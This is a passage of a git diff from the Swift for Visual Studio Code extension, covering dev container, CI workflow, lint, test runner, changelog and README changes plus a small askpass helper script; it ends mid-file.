diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile index ace13d3f2..cad52390f 100644 --- a/.devcontainer/Dockerfile +++ b/.devcontainer/Dockerfile @@ -1,5 +1,6 @@ -FROM swiftlang/swift:nightly-6.2-jammy +FROM swiftlang/swift:nightly-jammy +# python3-lldb-13 is only needed for swiftly and a great dep to remove to test post-install script ;) RUN export DEBIAN_FRONTEND=noninteractive DEBCONF_NONINTERACTIVE_SEEN=true \ && apt-get -q update \ && apt-get -q dist-upgrade -y \ @@ -9,8 +10,11 @@ RUN export DEBIAN_FRONTEND=noninteractive DEBCONF_NONINTERACTIVE_SEEN=true \ libsqlite3-dev \ libncurses5-dev \ python3 \ - build-essential + python3-lldb-13 \ + build-essential \ + sudo +# Install nvm / Node.js RUN mkdir -p /usr/local/nvm ENV NVM_DIR /usr/local/nvm ENV NODE_VERSION v20.19.0 @@ -21,3 +25,24 @@ ENV PATH $NODE_PATH:$PATH RUN npm -v RUN node -v +# Create a "vscode" user that is a sudoer +RUN useradd -ms /bin/bash vscode +RUN echo "vscode:vscode" | chpasswd +RUN adduser vscode sudo + +# Install swiftly +USER vscode +ENV SWIFTLY_HOME_DIR /home/vscode/.swiftly +ENV SWIFTLY_BIN_DIR /home/vscode/.swiftly/bin +ENV SWIFTLY_TOOLCHAINS_DIR /home/vscode/.swiftly/bin +RUN mkdir -p $SWIFTLY_HOME_DIR +RUN cd ~ && curl -O https://download.swift.org/swiftly/linux/swiftly-$(uname -m).tar.gz && \ + tar zxf swiftly-$(uname -m).tar.gz && \ + ./swiftly init --quiet-shell-followup && \ + . "${SWIFTLY_HOME_DIR}/env.sh" && \ + hash -r + +# Use swiftly toolchain by default +RUN echo "export SWIFTLY_HOME_DIR=$SWIFTLY_HOME_DIR" >> ~/.bashrc +RUN echo "export SWIFTLY_BIN_DIR=$SWIFTLY_BIN_DIR" >> ~/.bashrc +RUN echo '. "${SWIFTLY_HOME_DIR}/env.sh"' >> ~/.bashrc diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json index fba366480..72d529063 100644 --- a/.devcontainer/devcontainer.json +++ b/.devcontainer/devcontainer.json @@ -4,9 +4,6 @@ "features": { "ghcr.io/devcontainers/features/common-utils:2": { "installZsh": "false", - "username": "vscode", - "userUid": "1000", - "userGid": "1000", "upgradePackages": "false" }, "ghcr.io/devcontainers/features/git:1": { @@ -35,7 +32,8 @@ "source=node_modules,target=${containerWorkspaceFolder}/node_modules,type=volume" ], // Use 'postCreateCommand' to run commands after the container is created. - "postCreateCommand": "sudo chown vscode node_modules && npm install", + // Modify /etc/sudoers.d/vscode to make sure we're always prompted for root password for testing askpass. + "postCreateCommand": "sudo chown vscode node_modules && echo 'vscode ALL=(ALL:ALL) ALL' | sudo tee /etc/sudoers.d/vscode && npm install", // Set `remoteUser` to `root` to connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. "remoteUser": "vscode" } diff --git a/.eslintrc.json b/.eslintrc.json index 76f5c51e1..b88534848 100644 --- a/.eslintrc.json +++ b/.eslintrc.json @@ -6,7 +6,7 @@ "sourceType": "module", "project": true }, - "plugins": ["@typescript-eslint"], + "plugins": ["@typescript-eslint", "mocha"], "rules": { "curly": "error", "eqeqeq": "warn", @@ -14,6 +14,14 @@ // TODO "@typescript-eslint/semi" rule moved to https://eslint.style "semi": "error", "no-console": "warn", + "mocha/no-exclusive-tests": "error", + "no-restricted-syntax": [ + "error", + { + "selector": "CallExpression[callee.object.object.callee.name='tag'][callee.property.name='only']", + "message": "Unexpected exclusive mocha test with tag().suite.only() or tag().test.only()" + } + ], "@typescript-eslint/no-floating-promises": ["warn", { "checkThenables": true }], "@typescript-eslint/await-thenable": "warn", // Mostly fails tests, ex. expect(...).to.be.true returns a Chai.Assertion diff --git a/.github/dependabot.yml b/.github/dependabot.yml index dbd5f3600..78404d823 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -19,8 +19,14 @@ updates: - dependency-name: "@vscode/vsce" update-types: ["version-update:semver-major"] - dependency-name: "@types/vscode" + - dependency-name: "@types/svgicons2svgfont" - dependency-name: "octokit" update-types: ["version-update:semver-major"] + - dependency-name: "eslint-plugin-mocha" + update-types: ["version-update:semver-major"] + # Newer versions of fantasticon are broken on Windows. + # https://github.com/tancredi/fantasticon/issues/470 + - dependency-name: "fantasticon" groups: all-dependencies: patterns: diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 831524515..def088e63 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -1,5 +1,8 @@ name: Nightly +permissions: + contents: read + on: schedule: - cron: "0 0 * * *" @@ -66,10 +69,9 @@ jobs: windows_env_vars: | CI=1 VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} - VSCODE_SWIFT_VSIX=vscode-swift.vsix GITHUB_REPOSITORY=${{github.repository}} - windows_pre_build_command: .github\workflows\scripts\windows\setup.ps1 - windows_build_command: scripts\test_windows.ps1 + windows_pre_build_command: . .github\workflows\scripts\windows\setup.ps1 + windows_build_command: Invoke-Program scripts\test_windows.ps1 enable_windows_docker: false tests_insiders: @@ -79,7 +81,7 @@ jobs: with: needs_token: true # Linux - linux_exclude_swift_versions: '[{"swift_version": "5.8"}, {"swift_version": "5.9"}, {"swift_version": "5.10"}, {"swift_version": "6.0"}, {"swift_version": "nightly-6.1"}, {"swift_version": "nightly-6.2"}, {"swift_version": "nightly-main"}]' + linux_exclude_swift_versions: '[{"swift_version": "5.8"}, {"swift_version": "5.9"}, {"swift_version": "5.10"}, {"swift_version": "6.0"}, {"swift_version": "6.1"}, {"swift_version": "nightly-6.1"}, {"swift_version": "nightly-6.2"}, {"swift_version": "nightly-main"}]' linux_env_vars: | NODE_VERSION=v20.19.0 NODE_PATH=/usr/local/nvm/versions/node/v20.19.0/bin @@ -87,17 +89,18 @@ jobs: CI=1 VSCODE_VERSION=insiders VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} + VSCODE_SWIFT_VSIX_PRERELEASE=1 GITHUB_REPOSITORY=${{github.repository}} linux_pre_build_command: . .github/workflows/scripts/setup-linux.sh linux_build_command: ./scripts/test.sh # Windows - windows_exclude_swift_versions: '[{"swift_version": "5.9"}, {"swift_version": "6.0"}, {"swift_version": "nightly-6.1"}, {"swift_version": "nightly-6.2"}, {"swift_version": "nightly"}]' + windows_exclude_swift_versions: '[{"swift_version": "5.9"}, {"swift_version": "6.0"}, {"swift_version": "6.1"}, {"swift_version": "nightly-6.1"}, {"swift_version": "nightly-6.2"}, {"swift_version": "nightly"}]' windows_env_vars: | CI=1 VSCODE_VERSION=insiders VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} - VSCODE_SWIFT_PRERELEASE_VSIX=vscode-swift-prerelease.vsix + VSCODE_SWIFT_VSIX_PRERELEASE=1 GITHUB_REPOSITORY=${{github.repository}} - windows_pre_build_command: .github\workflows\scripts\windows\setup.ps1 - windows_build_command: scripts\test_windows.ps1 + windows_pre_build_command: . .github\workflows\scripts\windows\setup.ps1 + windows_build_command: Invoke-Program scripts\test_windows.ps1 enable_windows_docker: false diff --git a/.github/workflows/pull_request.yml b/.github/workflows/pull_request.yml index 4ffd2739e..00b679852 100644 --- a/.github/workflows/pull_request.yml +++ b/.github/workflows/pull_request.yml @@ -1,5 +1,8 @@ name: Pull request +permissions: + contents: read + on: pull_request: types: [opened, reopened, synchronize] @@ -23,8 +26,7 @@ jobs: . .github/workflows/scripts/setup-linux.sh [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" npm ci - npm run package - npm run preview-package + npm run dev-package for file in *.vsix; do name="$(basename "$file" .vsix)-${{github.run_number}}.vsix" echo "Created bundle $name" @@ -50,7 +52,7 @@ jobs: with: needs_token: true # Linux - linux_exclude_swift_versions: '[{"swift_version": "nightly-6.1"},{"swift_version": "nightly-6.2"},{"swift_version": "nightly-main"}]' + linux_exclude_swift_versions: "${{ contains(github.event.pull_request.labels.*.name, 'full-test-run') && '[{\"swift_version\": \"nightly-6.1\"}]' || '[{\"swift_version\": \"nightly-6.1\"},{\"swift_version\": \"nightly-6.2\"},{\"swift_version\": \"nightly-main\"}]' }}" linux_env_vars: | NODE_VERSION=v20.19.0 NODE_PATH=/usr/local/nvm/versions/node/v20.19.0/bin @@ -62,15 +64,14 @@ jobs: linux_pre_build_command: . .github/workflows/scripts/setup-linux.sh linux_build_command: ./scripts/test.sh # Windows - windows_exclude_swift_versions: '[{"swift_version": "nightly-6.1"},{"swift_version": "nightly-6.2"},{"swift_version": "nightly"}]' + windows_exclude_swift_versions: "${{ contains(github.event.pull_request.labels.*.name, 'full-test-run') && '[{\"swift_version\": \"nightly-6.1\"},{\"swift_version\": \"nightly\"}]' || '[{\"swift_version\": \"nightly-6.1\"},{\"swift_version\": \"nightly-6.2\"},{\"swift_version\": \"nightly\"}]' }}" windows_env_vars: | CI=1 FAST_TEST_RUN=${{ contains(github.event.pull_request.labels.*.name, 'full-test-run') && '0' || '1'}} VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} - VSCODE_SWIFT_VSIX=vscode-swift.vsix GITHUB_REPOSITORY=${{github.repository}} - windows_pre_build_command: .github\workflows\scripts\windows\setup.ps1 - windows_build_command: scripts\test_windows.ps1 + windows_pre_build_command: . .github\workflows\scripts\windows\setup.ps1 + windows_build_command: Invoke-Program scripts\test_windows.ps1 enable_windows_docker: false soundness: diff --git a/.github/workflows/scripts/setup-linux.sh b/.github/workflows/scripts/setup-linux.sh index e68846393..01cc9530d 100755 --- a/.github/workflows/scripts/setup-linux.sh +++ b/.github/workflows/scripts/setup-linux.sh @@ -29,6 +29,4 @@ env | sort if [ -n "$VSCODE_SWIFT_VSIX_ID" ]; then npm ci --ignore-scripts npx tsx scripts/download_vsix.ts - export VSCODE_SWIFT_VSIX="vscode-swift.vsix" - export VSCODE_SWIFT_PRERELEASE_VSIX="vscode-swift-prerelease.vsix" fi diff --git a/.github/workflows/scripts/windows/setup.ps1 b/.github/workflows/scripts/windows/setup.ps1 index fddfcc87b..3404632ee 100644 --- a/.github/workflows/scripts/windows/setup.ps1 +++ b/.github/workflows/scripts/windows/setup.ps1 @@ -2,7 +2,7 @@ . .github\workflows\scripts\windows\install-nodejs.ps1 # Download the VSIX archived upstream -npm ci -ignore-script node-pty +npm ci $Process = Start-Process npx "tsx scripts/download_vsix.ts" -Wait -PassThru -NoNewWindow if ($Process.ExitCode -eq 0) { Write-Host 'SUCCESS' @@ -10,3 +10,8 @@ if ($Process.ExitCode -eq 0) { Write-Host ('FAILED ({0})' -f $Process.ExitCode) exit 1 } + +Get-Content $env:GITHUB_ENV | foreach { + $name, $value = $_.split('=') + Set-Content env:\$name $value +} diff --git a/.gitignore b/.gitignore index 68cf1e8bb..7359c49c9 100644 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,9 @@ coverage test-results userdocs/userdocs.docc/.docc-build +# SwiftPM cache for tests +.spm-cache + # Generated Assets assets/documentation-webview assets/icons diff --git a/.mocha-reporter.js b/.mocha-reporter.js index 61f264b37..9a2f07da1 100644 --- a/.mocha-reporter.js +++ b/.mocha-reporter.js @@ -12,20 +12,22 @@ // //===----------------------------------------------------------------------===// -const BaseReporter = require("mocha/lib/reporters/base"); -const SpecReporter = require("mocha/lib/reporters/spec"); -const JsonReporter = require("mocha/lib/reporters/json"); +const mocha = require("mocha"); +const GHASummaryReporter = require("./dist/test/reporters/GitHubActionsSummaryReporter"); // Taking inspiration from https://github.com/stanleyhlng/mocha-multi-reporters/issues/108#issuecomment-2028773686 // since mocha-multi-reporters seems to have bugs with newer mocha versions -module.exports = class MultiReporter extends BaseReporter { +module.exports = class MultiReporter extends mocha.reporters.Base { constructor(runner, options) { super(runner, options); this.reporters = [ - new SpecReporter(runner, { + new mocha.reporters.Spec(runner, { reporterOption: options.reporterOption.specReporterOptions, }), - new JsonReporter(runner, { + new GHASummaryReporter(runner, { + reporterOption: options.reporterOption.githubActionsSummaryReporterOptions, + }), + new mocha.reporters.JSON(runner, { reporterOption: options.reporterOption.jsonReporterOptions, }), ]; diff --git a/.npmrc b/.npmrc new file mode 100644 index 000000000..214c29d13 --- /dev/null +++ b/.npmrc @@ -0,0 +1 @@ +registry=https://registry.npmjs.org/ diff --git a/.prettierrc.json b/.prettierrc.json index 08ab77154..518940860 100644 --- a/.prettierrc.json +++ b/.prettierrc.json @@ -1,8 +1,14 @@ { + "plugins": ["@trivago/prettier-plugin-sort-imports"], + "endOfLine": "auto", "trailingComma": "es5", "printWidth": 100, "tabWidth": 4, "arrowParens": "avoid", + "importOrder": ["^@src/(.*)$", "^\\.(\\.)?/(.*)$"], + "importOrderSeparation": true, + "importOrderSortSpecifiers": true, + "importOrderSideEffects": false, "overrides": [ { "files": "*.json", diff --git a/.unacceptablelanguageignore b/.unacceptablelanguageignore index c14aa7459..201687d71 100644 --- a/.unacceptablelanguageignore +++ b/.unacceptablelanguageignore @@ -1,3 +1,7 @@ assets/swift-docc-render +src/typings/node-pty.d.ts src/utilities/utilities.ts src/tasks/SwiftProcess.ts +syntaxes/swift-gyb.tmLanguage.json +test/unit-tests/syntaxes/swift.tmLanguage.json +test/unit-tests/syntaxes/MagicPython.tmLanguage.json diff --git a/.vscode-test.js b/.vscode-test.js index 95a2e6adc..e5c232519 100644 --- a/.vscode-test.js +++ b/.vscode-test.js @@ -11,99 +11,129 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// +// @ts-check const { defineConfig } = require("@vscode/test-cli"); const path = require("path"); const { version, publisher, name } = require("./package.json"); -const { preview } = require("./scripts/versions"); const isCIBuild = process.env["CI"] === "1"; -const isFastTestRun = process.env["FAST_TEST_RUN"] === "1"; const dataDir = process.env["VSCODE_DATA_DIR"]; -// "env" in launch.json doesn't seem to work with vscode-test -const isDebugRun = !(process.env["_"] ?? "").endsWith("node_modules/.bin/vscode-test"); +// Check if we're debugging by looking at the process executable. Unfortunately, the VS Code debugger +// doesn't seem to allow setting environment variables on a launched extension host. +const processPath = process.env["_"] ?? ""; +const isDebugRun = !isCIBuild && !processPath.endsWith("node_modules/.bin/vscode-test"); -// so tests don't timeout when a breakpoint is hit -const timeout = isDebugRun ? Number.MAX_SAFE_INTEGER : 3000; +function log(/** @type {string} */ message) { + if (!isDebugRun) { + console.log(message); + } +} + +// Remove the default timeout when debugging to avoid test failures when a breakpoint is hit. +// Keep this up to date with the timeout of a 'small' test in 'test/tags.ts'. +const timeout = isDebugRun ? 0 : 2000; const launchArgs = [ "--disable-updates", "--disable-crash-reporter", "--disable-workspace-trust", "--disable-telemetry", + "--disable-gpu", + "--disable-gpu-sandbox", + "--disable-chromium-sandbox", + "--disable-extension=vscode.git", + "--no-xshm", ]; if (dataDir) { launchArgs.push("--user-data-dir", dataDir); } -// GPU hardware acceleration not working on Darwin for intel -if (process.platform === "darwin" && process.arch === "x64") { - launchArgs.push("--disable-gpu"); -} -const isStableRun = process.env["VSCODE_VERSION"] !== "insiders"; + +const installExtensions = []; +const extensionDependencies = []; +let vsixPath = process.env["VSCODE_SWIFT_VSIX"]; let versionStr = version; -if (!isStableRun) { - const segments = version.split(".").map(v => parseInt(v, 10)); - versionStr = preview({ major: segments[0], minor: segments[1], patch: segments[2] }); -} -let vsixPath = isStableRun - ? process.env["VSCODE_SWIFT_VSIX"] - : process.env["VSCODE_SWIFT_PRERELEASE_VSIX"]; -const install = []; -const installExtensions = ["vadimcn.vscode-lldb", "llvm-vs-code-extensions.lldb-dap"]; +let extensionDevelopmentPath; if (vsixPath) { + // https://github.com/swiftlang/vscode-swift/issues/1751 + // Will install extensions before CI tests run + installExtensions.push("vadimcn.vscode-lldb", "llvm-vs-code-extensions.lldb-dap"); + + // Absolute path to vsix needed if (!path.isAbsolute(vsixPath)) { vsixPath = path.join(__dirname, vsixPath); } - console.log("Installing " + vsixPath); + log("Installing VSIX " + vsixPath); installExtensions.push(vsixPath); + + // Determine version to use + const match = /swift-vscode-(\d+.\d+.\d+(-dev)?)(-\d+)?.vsix/g.exec(path.basename(vsixPath)); + if (match) { + versionStr = match[1]; + } + log("Running tests against extension version " + versionStr); + + extensionDevelopmentPath = `${__dirname}/.vscode-test/extensions/${publisher}.${name}-${versionStr}`; + log("Running tests against extension development path " + extensionDevelopmentPath); +} else { + extensionDependencies.push("vadimcn.vscode-lldb", "llvm-vs-code-extensions.lldb-dap"); } +const vscodeVersion = process.env["VSCODE_VERSION"] ?? "stable"; +log("Running tests against VS Code version " + vscodeVersion); + +const installConfigs = []; for (const ext of installExtensions) { - install.push({ + installConfigs.push({ label: `installExtension-${ext}`, installExtensions: [ext], - launchArgs, + launchArgs: launchArgs.concat("--disable-extensions"), files: ["dist/test/sleep.test.js"], - version: process.env["VSCODE_VERSION"] ?? "stable", + version: vscodeVersion, + skipExtensionDependencies: true, reuseMachineInstall: !isCIBuild, }); } +const env = { + ...process.env, + RUNNING_UNDER_VSCODE_TEST_CLI: "1", + VSCODE_DEBUG: isDebugRun ? "1" : "0", +}; +log("Running tests against environment:\n" + JSON.stringify(env, undefined, 2)); + module.exports = defineConfig({ tests: [ - ...install, + ...installConfigs, { label: "integrationTests", files: ["dist/test/common.js", "dist/test/integration-tests/**/*.test.js"], - version: process.env["VSCODE_VERSION"] ?? "stable", + version: vscodeVersion, workspaceFolder: "./assets/test", launchArgs, - extensionDevelopmentPath: vsixPath - ? [`${__dirname}/.vscode-test/extensions/${publisher}.${name}-${versionStr}`] - : undefined, - env: { - VSCODE_TEST: "1", - }, + extensionDevelopmentPath, + env, mocha: { ui: "tdd", color: true, timeout, forbidOnly: isCIBuild, - grep: isFastTestRun ? "@slow" : undefined, - invert: isFastTestRun, slow: 10000, retries: 1, reporter: path.join(__dirname, ".mocha-reporter.js"), reporterOptions: { + githubActionsSummaryReporterOptions: { + title: "Integration Test Summary", + }, jsonReporterOptions: { output: path.join(__dirname, "test-results", "integration-tests.json"), }, }, }, - reuseMachineInstall: !isCIBuild, - installExtensions, + installExtensions: extensionDependencies, + skipExtensionDependencies: installConfigs.length > 0, }, { label: "codeWorkspaceTests", @@ -116,42 +146,37 @@ module.exports = defineConfig({ "dist/test/integration-tests/testexplorer/TestExplorerIntegration.test.js", "dist/test/integration-tests/commands/dependency.test.js", ], - version: process.env["VSCODE_VERSION"] ?? "stable", + version: vscodeVersion, workspaceFolder: "./assets/test.code-workspace", launchArgs, - extensionDevelopmentPath: vsixPath - ? [`${__dirname}/.vscode-test/extensions/${publisher}.${name}-${versionStr}`] - : undefined, - env: { - VSCODE_TEST: "1", - }, + extensionDevelopmentPath, + env, mocha: { ui: "tdd", color: true, timeout, forbidOnly: isCIBuild, - grep: isFastTestRun ? "@slow" : undefined, - invert: isFastTestRun, slow: 10000, retries: 1, reporter: path.join(__dirname, ".mocha-reporter.js"), reporterOptions: { + githubActionsSummaryReporterOptions: { + title: "Code Workspace Test Summary", + }, jsonReporterOptions: { output: path.join(__dirname, "test-results", "code-workspace-tests.json"), }, }, }, - reuseMachineInstall: !isCIBuild, - installExtensions, + installExtensions: extensionDependencies, + skipExtensionDependencies: installConfigs.length > 0, }, { label: "unitTests", files: ["dist/test/common.js", "dist/test/unit-tests/**/*.test.js"], - version: process.env["VSCODE_VERSION"] ?? "stable", + version: vscodeVersion, launchArgs: launchArgs.concat("--disable-extensions"), - env: { - VSCODE_TEST: "1", - }, + env, mocha: { ui: "tdd", color: true, @@ -160,13 +185,15 @@ module.exports = defineConfig({ slow: 100, reporter: path.join(__dirname, ".mocha-reporter.js"), reporterOptions: { + githubActionsSummaryReporterOptions: { + title: "Unit Test Summary", + }, jsonReporterOptions: { output: path.join(__dirname, "test-results", "unit-tests.json"), }, }, }, skipExtensionDependencies: true, - reuseMachineInstall: !isCIBuild, }, // you can specify additional test configurations, too ], diff --git a/.vscode/launch.json b/.vscode/launch.json index 14beaaaeb..b101f2537 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -17,7 +17,7 @@ "preLaunchTask": "Build Extension" }, { - "name": "Extension Tests", + "name": "Integration Tests", "type": "extensionHost", "request": "launch", "testConfiguration": "${workspaceFolder}/.vscode-test.js", diff --git a/.vscodeignore b/.vscodeignore index 10751b3fd..afe1d3f45 100644 --- a/.vscodeignore +++ b/.vscodeignore @@ -1,7 +1,7 @@ **/* !LICENSE !NOTICE.txt -!CHANGELOG.md +!CHANGELOG-*.md !README.md !icon.png !package.json @@ -9,6 +9,10 @@ !images/** !snippets/** !assets/icons/** +!assets/walkthrough/** !assets/documentation-webview/** !assets/swift-docc-render/** +!assets/swift_askpass.sh !node_modules/@vscode/codicons/** +!swift-gyb.language-configuration.json +!syntaxes/** diff --git a/CHANGELOG.md b/CHANGELOG.md index 5e1b40d78..29f0f2565 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,47 @@ ### Added -- Added Swiftly toolchain management support `.swift-version` files, and integration with the toolchain selection UI ([#1717](https://github.com/swiftlang/vscode-swift/pull/1717) +- Syntax highlighting for `*.swift.gyb` files ([#1515](https://github.com/swiftlang/vscode-swift/pull/1515)) +- Activate the extension if a workspace folder contains a `.bsp` folder ([#1865](https://github.com/swiftlang/vscode-swift/pull/1865)) + +## 2.12.0 - 2025-10-29 + +### Added + +- Swiftly toolchain installation support with commands to install stable and snapshot releases, progress tracking, and secure post-install script handling ([#1780](https://github.com/swiftlang/vscode-swift/pull/1780)) +- Prompt to restart `SourceKit-LSP` after changing `.sourcekit-lsp/config.json` files ([#1744](https://github.com/swiftlang/vscode-swift/issues/1744)) +- Prompt to cancel and replace the active test run if one is in flight ([#1774](https://github.com/swiftlang/vscode-swift/pull/1774)) +- A walkthrough for first time extension users ([#1560](https://github.com/swiftlang/vscode-swift/issues/1560)) +- Allow `swift.backgroundCompilation` setting to accept an object where enabling the `useDefaultTask` property will run the default build task, and the `release` property will run the `release` variant of the Build All task ([#1857](https://github.com/swiftlang/vscode-swift/pull/1857)) +- Added new `target` and `configuration` properties to `swift` launch configurations that can be used instead of `program` for SwiftPM based projects ([#1890](https://github.com/swiftlang/vscode-swift/pull/1890)) + +### Fixed + +- Don't start debugging XCTest cases if the swift-testing debug session was stopped ([#1797](https://github.com/swiftlang/vscode-swift/pull/1797)) +- Improve error handling when the swift path is misconfigured ([#1801](https://github.com/swiftlang/vscode-swift/pull/1801)) +- Fix an error when performing "Run/Debug Tests Multiple Times" on Linux ([#1824](https://github.com/swiftlang/vscode-swift/pull/1824)) +- Fix the `> Swift: Run Swift Script` command not running unless a Swift Package folder is open ([#1832](https://github.com/swiftlang/vscode-swift/pull/1832)) +- Fix the SourceKit-LSP diagnostics reported progress ([#1799](https://github.com/swiftlang/vscode-swift/pull/1799)) +- Omit incompatible `additionalTestArgs` when building tests for debugging ([#1864](https://github.com/swiftlang/vscode-swift/pull/1864)) + +## 2.11.20250806 - 2025-08-06 + +### Added + +- New `swift.createTasksForLibraryProducts` setting that when enabled causes the extension to automatically create and provide tasks for library products ([#1741](https://github.com/swiftlang/vscode-swift/pull/1741)) +- New `swift.outputChannelLogLevel` setting to control the verbosity of the `Swift` output channel ([#1746](https://github.com/swiftlang/vscode-swift/pull/1746)) +- New `swift.debugTestsMultipleTimes` and `swift.debugTestsUntilFailure` commands for debugging tests over multiple runs ([#1763](https://github.com/swiftlang/vscode-swift/pull/1763)) +- Optionally include LLDB DAP logs in the Swift diagnostics bundle ([#1768](https://github.com/swiftlang/vscode-swift/pull/1758)) + +### Changed + +- Added log levels and improved Swift extension logging so a logfile is produced in addition to logging messages to the existing `Swift` output channel. Deprecated the `swift.diagnostics` setting in favour of the new `swift.outputChannelLogLevel` setting ([#1746](https://github.com/swiftlang/vscode-swift/pull/1746)) + +## 2.10.0 - 2025-07-28 + +### Added + +- Added Swiftly toolchain management support `.swift-version` files, and integration with the toolchain selection UI ([#1717](https://github.com/swiftlang/vscode-swift/pull/1717)) - Added code lenses to run suites/tests, configurable with the `swift.showTestCodeLenses` setting ([#1698](https://github.com/swiftlang/vscode-swift/pull/1698)) - New `swift.excludePathsFromActivation` setting to ignore specified sub-folders from being activated as projects ([#1693](https://github.com/swiftlang/vscode-swift/pull/1693)) - New `swift.recordTestDuration` setting to disable capturing test durations, which can improve performance of heavy test runs ([#1745](https://github.com/swiftlang/vscode-swift/pull/1745)) diff --git a/README.md b/README.md index 1ad0fa91d..a205f5387 100644 --- a/README.md +++ b/README.md @@ -1,18 +1,30 @@ # Swift for Visual Studio Code -This extension adds language support for Swift to Visual Studio Code, providing a seamless experience for developing Swift applications on all supported platforms. It supports: +This extension adds language support for Swift to Visual Studio Code, providing a seamless experience for developing Swift applications on all supported platforms. It supports features such as: * Code completion -* Jump to definition, peek definition, find all references, symbol search -* Error annotations and apply suggestions from errors +* Jump to definition, peek definition, find all references and symbol search +* Error annotations and fix suggestions * Automatic generation of launch configurations for debugging with [LLDB DAP](https://marketplace.visualstudio.com/items?itemName=llvm-vs-code-extensions.lldb-dap) * Automatic task creation -* Package dependency view +* A Project Panel to quickly run actions and view dependencies * Test Explorer view > **Note** > Most features of the Swift for Visual Studio Code extension only work with projects that build with Swift Package Manager. These projects will have a `Package.swift` file in their root folder. Support for Xcode projects (`.xcodeproj`) is limited. +### Creating New Projects + + +### Building and Running Executables + + +### Debugging Executables + + +### Running Tests + + # Documentation The [getting started guide](https://www.swift.org/documentation/articles/getting-started-with-vscode-swift.html) and [official documentation](https://docs.swift.org/vscode/documentation/userdocs) for this extension are available on [swift.org](https://www.swift.org). diff --git a/assets/swift_askpass.sh b/assets/swift_askpass.sh new file mode 100755 index 000000000..31b86be02 --- /dev/null +++ b/assets/swift_askpass.sh @@ -0,0 +1,10 @@ +#!/bin/sh +VSCODE_SWIFT_ASKPASS_FILE=$(mktemp) + +ELECTRON_RUN_AS_NODE="1" VSCODE_SWIFT_ASKPASS_FILE="$VSCODE_SWIFT_ASKPASS_FILE" "$VSCODE_SWIFT_ASKPASS_NODE" "$VSCODE_SWIFT_ASKPASS_MAIN" +EXIT_CODE=$? + +cat "$VSCODE_SWIFT_ASKPASS_FILE" +rm "$VSCODE_SWIFT_ASKPASS_FILE" + +exit "$EXIT_CODE" diff --git a/assets/test/.vscode/launch.json b/assets/test/.vscode/launch.json index 90b9c8da4..c7011a707 100644 --- a/assets/test/.vscode/launch.json +++ b/assets/test/.vscode/launch.json @@ -4,6 +4,7 @@ "type": "swift", "request": "launch", "name": "Debug PackageExe (defaultPackage)", + // Explicitly use "program" to test searching for launch configs by program. "program": "${workspaceFolder:test}/defaultPackage/.build/debug/PackageExe", "args": [], "cwd": "${workspaceFolder:test}/defaultPackage", @@ -15,7 +16,9 @@ "type": "swift", "request": "launch", "name": "Release PackageExe (defaultPackage)", - "program": "${workspaceFolder:test}/defaultPackage/.build/release/PackageExe", + // Explicitly use "target" and "configuration" to test searching for launch configs by target. + "target": "PackageExe", + "configuration": "release", "args": [], "cwd": "${workspaceFolder:test}/defaultPackage", "preLaunchTask": "swift: Build Release PackageExe (defaultPackage)", diff --git a/assets/test/.vscode/settings.json b/assets/test/.vscode/settings.json index 3962271c2..4ed70d281 100644 --- a/assets/test/.vscode/settings.json +++ b/assets/test/.vscode/settings.json @@ -2,16 +2,20 @@ "swift.disableAutoResolve": true, "swift.autoGenerateLaunchConfigurations": false, "swift.debugger.debugAdapter": "lldb-dap", - "swift.debugger.setupCodeLLDB": "alwaysUpdateGlobal", + "swift.debugger.setupCodeLLDB": "never", "swift.additionalTestArguments": [ "-Xswiftc", "-DTEST_ARGUMENT_SET_VIA_TEST_BUILD_ARGUMENTS_SETTING" ], + "swift.outputChannelLogLevel": "debug", "lldb.verboseLogging": true, "lldb.launch.terminal": "external", "lldb-dap.detachOnError": true, "swift.sourcekit-lsp.backgroundIndexing": "off", "swift.excludePathsFromActivation": { "**/excluded": true - } + }, + "swift.packageArguments": [ + "--cache-path=${workspaceFolder}${pathSeparator}.spm-cache" + ] } \ No newline at end of file diff --git a/assets/test/defaultPackage/Package.swift b/assets/test/defaultPackage/Package.swift index 6ea1984f1..9ff9be8dd 100644 --- a/assets/test/defaultPackage/Package.swift +++ b/assets/test/defaultPackage/Package.swift @@ -9,6 +9,10 @@ let package = Package( .library( name: "PackageLib", targets: ["PackageLib"]), + .library( + name: "PackageLib2", + type: .dynamic, + targets: ["PackageLib"]), ], targets: [ // Targets are the basic building blocks of a package. A target can define a module or a test suite. diff --git a/assets/test/defaultPackage/Package@swift-6.0.swift b/assets/test/defaultPackage/Package@swift-6.0.swift index 838242e8c..2d84fcf9c 100644 --- a/assets/test/defaultPackage/Package@swift-6.0.swift +++ b/assets/test/defaultPackage/Package@swift-6.0.swift @@ -12,6 +12,10 @@ let package = Package( .library( name: "PackageLib", targets: ["PackageLib"]), + .library( + name: "PackageLib2", + type: .dynamic, + targets: ["PackageLib"]), ], targets: [ // Targets are the basic building blocks of a package. A target can define a module or a test suite. diff --git a/assets/test/dependencies/Package.swift b/assets/test/dependencies/Package.swift index ba5acdb59..6d89c78af 100644 --- a/assets/test/dependencies/Package.swift +++ b/assets/test/dependencies/Package.swift @@ -6,7 +6,7 @@ import PackageDescription let package = Package( name: "dependencies", dependencies: [ - .package(url: "https://github.com/swiftlang/swift-markdown.git", branch: "main"), + .package(url: "https://github.com/swiftlang/swift-markdown.git", exact: "0.6.0"), .package(path: "../defaultPackage"), ], targets: [ diff --git a/assets/test/documentation-live-preview/Package.swift b/assets/test/documentation-live-preview/Package.swift new file mode 100644 index 000000000..82f5c8a15 --- /dev/null +++ b/assets/test/documentation-live-preview/Package.swift @@ -0,0 +1,20 @@ +// swift-tools-version: 6.1 +// The swift-tools-version declares the 